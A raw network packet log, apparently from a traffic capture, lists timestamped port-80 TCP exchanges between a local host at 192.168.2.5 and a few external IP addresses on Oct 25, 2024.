Oct 25, 2024 11:17:45.061364889 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.061399937 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.061408043 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.061408043 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.061458111 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.061564922 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.061598063 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.061618090 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.061631918 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.061644077 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.061665058 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.061671972 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.061697960 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.061728001 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.061731100 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.061764956 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.061765909 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.061779022 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.061799049 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.061810970 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.061832905 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.061841965 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.061868906 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.061887026 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.061904907 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.061919928 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.061933041 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.061973095 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.061973095 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.061984062 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.062019110 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.062038898 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.062067986 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.062069893 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.062102079 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.062120914 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.062134981 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.062165022 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.062169075 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.062194109 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.062220097 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.062225103 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.062269926 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.062298059 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.062299013 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.062333107 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.062333107 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.062350035 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.062382936 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.062400103 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.062416077 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.062438965 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.062467098 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.062485933 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.062524080 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.062531948 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.062557936 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.062586069 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.062602043 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.062602043 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.062618017 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.062649965 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.062655926 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.062661886 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.062688112 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.062706947 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.062738895 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.062772989 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.062783003 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.062783003 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.062802076 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.062834024 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.062849045 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.062866926 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.062895060 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.062897921 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.062933922 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.062954903 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.062983990 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.067657948 CEST	52681	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:45.073095083 CEST	80	52681	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:45.073172092 CEST	52681	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:45.073313951 CEST	52681	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:45.079374075 CEST	80	52681	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:45.088519096 CEST	80	52667	85.131.197.10	192.168.2.5
Oct 25, 2024 11:17:45.092129946 CEST	52667	80	192.168.2.5	85.131.197.10
Oct 25, 2024 11:17:45.118278980 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.118345976 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.118401051 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.118433952 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.118458986 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.118469954 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.118484020 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.118504047 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.118535042 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.118539095 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.118566990 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.118587017 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.118590117 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.118629932 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.118664026 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.118697882 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.118726969 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.118735075 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.118751049 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.118751049 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.118751049 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.118778944 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.118788004 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.118832111 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.118849993 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.118864059 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.118899107 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.118899107 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.118911982 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.118943930 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.118963003 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.118982077 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.119024992 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.119024992 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.119033098 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.119066000 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.119100094 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.119124889 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.119124889 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.119132996 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.119154930 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.119168043 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.119196892 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.119196892 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.119219065 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.119230032 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.119262934 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.119265079 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.119298935 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.119309902 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.119309902 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.119343996 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.119362116 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.119411945 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.119412899 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.119447947 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.119479895 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.119513988 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.119513988 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.119544029 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.119546890 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.119585037 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.119590044 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.119590998 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.119616985 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.119642973 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.119652033 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.119666100 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.119687080 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.119720936 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.119729996 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.119729996 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.119755030 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.119774103 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.119788885 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.119821072 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.119854927 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.119858027 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.119858027 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.119864941 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.119885921 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.119935036 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.119955063 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.119963884 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.119988918 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.120016098 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.120018959 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.120052099 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.120085001 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.120107889 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.120121002 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.120153904 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.120187998 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.120213032 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.120213032 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.120213032 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.120229006 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.120230913 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.120261908 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.120292902 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.120292902 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.120316982 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.120326996 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.120343924 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.120359898 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.120393991 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.120404005 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.120404005 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.120428085 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.120502949 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.120543957 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.120585918 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.120585918 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.120594978 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.120628119 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.120662928 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.120676041 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.120676041 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.120707035 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.120712996 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.120826960 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.120860100 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.120893955 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.120920897 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.120920897 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.120928049 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.120965004 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.120976925 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.120976925 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.121001005 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.121048927 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.121063948 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.121082067 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.121104002 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.121115923 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.121130943 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.121150017 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.121184111 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.121197939 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.121218920 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.121252060 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.121280909 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.121299982 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.121299982 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.121323109 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.121423960 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.121458054 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.121490002 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.121525049 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.121534109 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.121534109 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.121557951 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.121603012 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.121607065 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.121607065 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.121635914 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.121670008 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.121690989 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.121690989 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.121702909 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.121737003 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.121746063 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.121746063 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.121771097 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.121799946 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.121805906 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.121812105 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.121836901 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.121870041 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.121881962 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.121881962 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.121905088 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.121937990 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.121946096 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.121946096 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.121970892 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.122005939 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.122013092 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.122013092 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.122040033 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.122071981 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.122081995 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.122081995 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.122106075 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.122127056 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.122140884 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.122174025 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.122183084 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.122183084 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.122206926 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.122241974 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.122247934 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.122247934 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.122273922 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.122292042 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.122308969 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.122329950 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.122342110 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.122361898 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.122375965 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.122411013 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.122419119 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.122419119 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.122459888 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.250087976 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.250154018 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.250190020 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.250225067 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.250277996 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.250313044 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.250345945 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.250345945 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.250346899 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.250396967 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.250396967 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.250400066 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.250433922 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.250469923 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.250503063 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.250511885 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.250511885 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.250536919 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.250559092 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.250586987 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.250602007 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.250653028 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.250684977 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.250706911 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.250706911 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.250720024 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.250755072 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.250766039 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.250766993 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.250790119 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.250834942 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.250834942 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.250843048 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.250880957 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.250905037 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.250930071 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.250931978 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.250965118 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.250999928 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.251008987 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.251008987 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.251038074 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.251070976 CEST	80	52664	104.26.10.81	192.168.2.5
